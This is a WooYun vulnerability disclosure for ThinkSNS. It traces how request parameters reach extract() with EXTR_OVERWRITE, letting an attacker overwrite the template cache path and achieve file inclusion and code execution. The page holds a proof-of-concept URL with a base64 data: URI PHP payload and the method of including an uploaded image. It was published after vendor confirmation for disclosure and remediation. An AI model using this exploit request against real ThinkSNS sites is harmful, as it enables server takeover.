当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-043945

漏洞标题：ThinkSNS getshell一枚

相关厂商：ThinkSNS

漏洞作者： 猪头子

提交时间：2013-11-24 23:21

修复时间：2014-02-22 23:21

公开时间：2014-02-22 23:21

漏洞类型：文件包含

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-24： 细节已通知厂商并且等待厂商处理中
2013-11-24： 厂商已经确认，细节仅向厂商公开
2013-11-27： 细节向第三方安全合作伙伴开放
2014-01-18： 细节向核心白帽子及相关领域专家公开
2014-01-28： 细节向普通白帽子公开
2014-02-07： 细节向实习白帽子公开
2014-02-22： 细节向公众公开

简要描述：

ThinkSNS某处处理不当导致get shell

详细说明：

\apps\public\Lib\Action\CommentAction.class.php reply函数

public function reply() {
          $var = $_GET;
          $var['initNums'] = model('Xdata')->getConfig('weibo_nums', 'feed');
          $var['commentInfo'] = model('Comment')->getCommentInfo($var['comment_id'], false);
          $var['canrepost']  = $var['commentInfo']['table'] == 'feed'  ? 1 : 0;
          $var['cancomment'] = 1;
          // 获取原作者信息
          $rowData = model('Feed')->get(intval($var['commentInfo']['row_id']));
          $appRowData = model('Feed')->get($rowData['app_row_id']);
          $var['user_info'] = $appRowData['user_info'];
          // 微博类型
          $var['feedtype'] = $rowData['type'];
          // $var['cancomment_old'] = ($var['commentInfo']['uid'] != $var['commentInfo']['app_uid'] && $var['commentInfo']['app_uid'] != $this->uid) ? 1 : 0;
          $var['initHtml'] = L('PUBLIC_STREAM_REPLY').'@'.$var['commentInfo']['user_info']['uname'].' ：';          // 回复
          $this->assign($var);
          $this->display();
     }


不管中间过程，$var被赋值被$_GET，并在最后进入了assign函数
\core\OpenSociax\Action.class.php assign

public function assign($name,$value='') {
        if(is_array($name)) {
            $this->tVar   =  array_merge($this->tVar,$name);
        }elseif(is_object($name)){
            foreach($name as $key =>$val)
                $this->tVar[$key] = $val;
        }else {
            $this->tVar[$name] = $value;
        }
    }


assign其实就是给模板变量赋值，也就是说我们的$_GET最后进入了模板变量中。
然后回到一开始的reply函数，可以看到在最后调用了display：
\core\OpenSociax\functions.inc.php display函数

// 输出模版
function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
    fetch($templateFile,$tvar,$charset,$contentType,true);
}


fetch找到相应的模板并和我们提交的变量结合编译之：
\core\OpenSociax\Action.class.php fetch函数

protected function fetch($templateFile='',$charset='utf-8',$contentType='text/html',$display=false) {
        $this->assign('appCssList',$this->appCssList);
        $this->assign('langJsList', $this->langJsList);
        Addons::hook('core_display_tpl', array('tpl'=>$templateFile,'vars'=>$this->tVar,'charset'=>$charset,'contentType'=>$contentType,'display'=>$display));
        return fetch($templateFile, $this->tVar, $charset, $contentType, $display);
    }


把请求转发给真正的fetch函数：
\core\OpenSociax\functions.inc.php

function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
    //注入全局变量ts
    global  $ts;
    $tvar['ts'] = $ts;
    //$GLOBALS['_viewStartTime'] = microtime(TRUE);
    if(null===$templateFile)
        // 使用null参数作为模版名直接返回不做任何输出
        return ;
    if(empty($charset))  $charset = C('DEFAULT_CHARSET');
    // 网页字符编码
    header("Content-Type:".$contentType."; charset=".$charset);
    header("Cache-control: private");  //支持页面回跳
    //页面缓存
    ob_start();
    ob_implicit_flush(0);
    // 模版名为空.
    if(''==$templateFile){
        $templateFile   =   APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';
    // 模版名为ACTION_NAME
    }elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
        $templateFile   =   APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';
    // 模版是绝对路径
    }elseif(file_exists($templateFile)){
    // 模版不存在
    }else{
        throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
    }
    //模版缓存文件
    $templateCacheFile  =   C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
    //载入模版缓存
    if(!$ts['_debug'] && file_exists($templateCacheFile)) {
    //if(1==2){ //TODO  开发
        extract($tvar, EXTR_OVERWRITE); //exploit!
        //var_dump($_SESSION);
        //载入模版缓存文件
        include $templateCacheFile; //getshell here!
    //重新编译
    }else{
        tshook('tpl_compile',array('templateFile',$templateFile));
        // 缓存无效 重新编译
        tsload(CORE_LIB_PATH.'/Template.class.php');
        tsload(CORE_LIB_PATH.'/TagLib.class.php');
        tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
        $tpl    =   Template::getInstance();
        // 编译并加载模板文件
        $tpl->load($templateFile,$tvar,$charset);//getshell here!
    }
    ... ...
}


分析下这个函数的逻辑：
首先判断模板文件是否存在，不存在则尝试加载默认模板文件，如果加载失败就异常退出
其次如果模板文件存在，那么该文件是否缓存过，如果缓存过，那么直接include缓存文件，在include前使用extract对模板变量赋值
如果模板没有缓存，是第一次被调用，那么就编译模板文件并加载它
在使用缓存的时候程序用extract对变量进行赋值，可以看到第二个参数，EXTR_OVERWIRTE，表示如果某变量已经存在，那么就覆盖这个变量。
下面看看非缓存情况下的处理：
\core\OpenSociax\Template.class.php load函数

// 加载模板
    public function load($templateFile,$templateVar,$charset) {
        $this->tVar = $templateVar;
        $templateCacheFile  =  $this->loadTemplate($templateFile);
        // 模板阵列变量分解成为独立变量
        extract($templateVar, EXTR_OVERWRITE);
        //载入模版缓存文件
        include $templateCacheFile;
    }


与缓存情况下相同，也是调用extract来覆盖变量，由于第二个参数的使用，因此如果模板变量可控的话，我们可以覆盖任意变量。
可以覆盖$templateCacheFile变量，这样变量覆盖就变成了任意文件包含，并可getshell.

漏洞证明：

上传一个jpg，然后include之：

2.jpg


在allow_url_include为on下可以这样getshell：

http://www.evil.com/thinksns/index.php?app=public&mod=Comment&act=reply&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


getshell.jpg

修复方案：

方法有多种，结合业务需要来做：

extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile.'.php';

版权声明：转载请注明来源 猪头子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-11-24 23:29

厂商回复：

非常感谢反馈！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-11-25 12:37 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    赞

  2. 2013-11-25 15:46 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    哥，你太屌了

  3. 2014-04-06 15:18 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)

    还没修复